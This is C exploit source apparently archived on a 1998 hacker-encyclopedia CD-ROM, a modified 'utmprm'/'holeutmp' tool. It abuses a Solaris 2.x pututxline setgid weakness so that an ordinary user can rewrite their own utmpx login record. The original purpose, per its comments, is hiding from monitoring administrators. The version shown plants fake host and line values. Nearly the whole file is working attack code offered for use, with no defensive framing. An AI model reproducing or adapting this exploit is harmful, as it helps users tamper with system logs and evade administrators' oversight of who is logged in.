home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / sol_hole.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  3.0 KB  |  122 lines

  1.  
  2. /*
  3.  * utmprm (version 1.0)
  4.  * renamed to holeutmp.c (version 1.0)
  5.  *
  6.  * Copyright, 1994, 1995 by Scott Chasin (chasin@crimelab.com)
  7.  * Modified by Hendrik Visage (hendrik@jupiter.cs.up.ac.za)
  8.    to exploit a pututxline SETGID problem
  9.  *
  10.  * This material is copyrighted by Scott Chasin, 1994, 1995. The
  11.  * usual standard disclaimer applies, especially the fact that the
  12.  * author is not liable for any damages caused by direct or indirect
  13.  * use of the information or functionality provided by this program.
  14.  */
  15.  
  16. /* utmprm takes advantage of a Solaris 2.x utmpx system call that
  17.  * allows any user to remove themselves from the corresponding
  18.  * utmp files and partly out of the eyes of monitoring admins.
  19.  */
  20.  
  21. #include <stdio.h>
  22. #include <pwd.h>
  23.  
  24. #include <utmpx.h>
  25.  
  26. char *strchr(), *strdup(), *ttyname(), *getlogin();
  27.  
  28. main (argc, argv)
  29. int argc;
  30. char **argv;
  31. {
  32.   uid_t ruid, getuid();
  33.   char *ttyn, *tty, *username;
  34.   struct passwd *pwd;
  35.  
  36.   /* Grab our ttyname */
  37.  
  38.   ttyn = ttyname(0);
  39.  
  40.   if (ttyn == NULL || *ttyn == '\0')
  41.    {
  42.       fprintf (stderr, "utmprm: where are you?\n");
  43.       exit (1);
  44.    }
  45.  
  46.   if (tty = strchr (ttyn + 1, '/'))
  47.       ++tty;
  48.   else
  49.       tty = ttyn;
  50.  
  51.   /* Grab our login name */
  52.   ruid = getuid ();
  53.   username = getlogin ();
  54.  
  55.   if (username == NULL || (pwd = getpwnam (username)) == NULL ||
  56.       pwd->pw_uid != ruid)
  57.       pwd = getpwuid (ruid);
  58.  
  59.   if (pwd == NULL)
  60.    {
  61.       fprintf (stderr, "utmprm: who are you?\n");
  62.       exit (1);
  63.    }
  64.  
  65.   username = strdup (pwd->pw_name);
  66.  
  67.   utmpx_delete (username, tty);
  68. }
  69.  
  70. utmpx_delete (user, line)
  71.   char *user;
  72.   char *line;
  73.   {
  74.     struct utmpx utx;
  75.     struct utmpx *ut;
  76.  
  77.     /* Let's build a utmpx structure that looks like
  78.      * our entries profile.
  79.      */
  80.  
  81.     strncpy (utx.ut_line, line, sizeof (utx.ut_line));
  82.     strncpy (utx.ut_user, user, sizeof (utx.ut_user));
  83.  
  84.     /* We use getutxline to search /var/adm/utmpx for our
  85.      * entry.
  86.      */
  87.  
  88.     if ((ut = getutxline (&utx)) == 0)
  89.       printf ("utmprm: entry not found for %s (%s)\n", user, line);
  90.     else {
  91.       /* Since we doesn't want to remove the entry,
  92.          all the DEAD_PROCESS related stuff
  93.          isn't needed
  94.       ut->ut_type = DEAD_PROCESS;
  95.       ut->ut_exit.e_termination = 0;
  96.       ut->ut_exit.e_exit = 0;
  97.       */
  98.  
  99.       gettimeofday (&(ut->ut_tv), 0);
  100.       ut->ut_type = USER_PROCESS;
  101.       strcpy(&(ut->ut_host),"Probleme.SA");
  102.       ut->ut_syslen=strlen(ut->ut_host);
  103.  
  104.       strcpy(&(ut->ut_line),"|");
  105.  
  106.         /* Using pututxline as a normal user, we take advantage
  107.          * of the fact that it calls a setuid system call to
  108.          * modify the utmpx entry we just build.  The only check
  109.          * that pututxline has is that the login name in the utmpx
  110.          * entry must match that of the caller's and that the
  111.          * utmpx device entry is a real device writable by the
  112.          * caller.
  113.          */
  114.  
  115.         pututxline (ut);
  116.         printf ("utmprm: %s (%s) modified with exit code %d.\n", user, line,put
  117. utxline (ut));
  118.     }
  119.     endutxent ();
  120. }
  121.  
  122.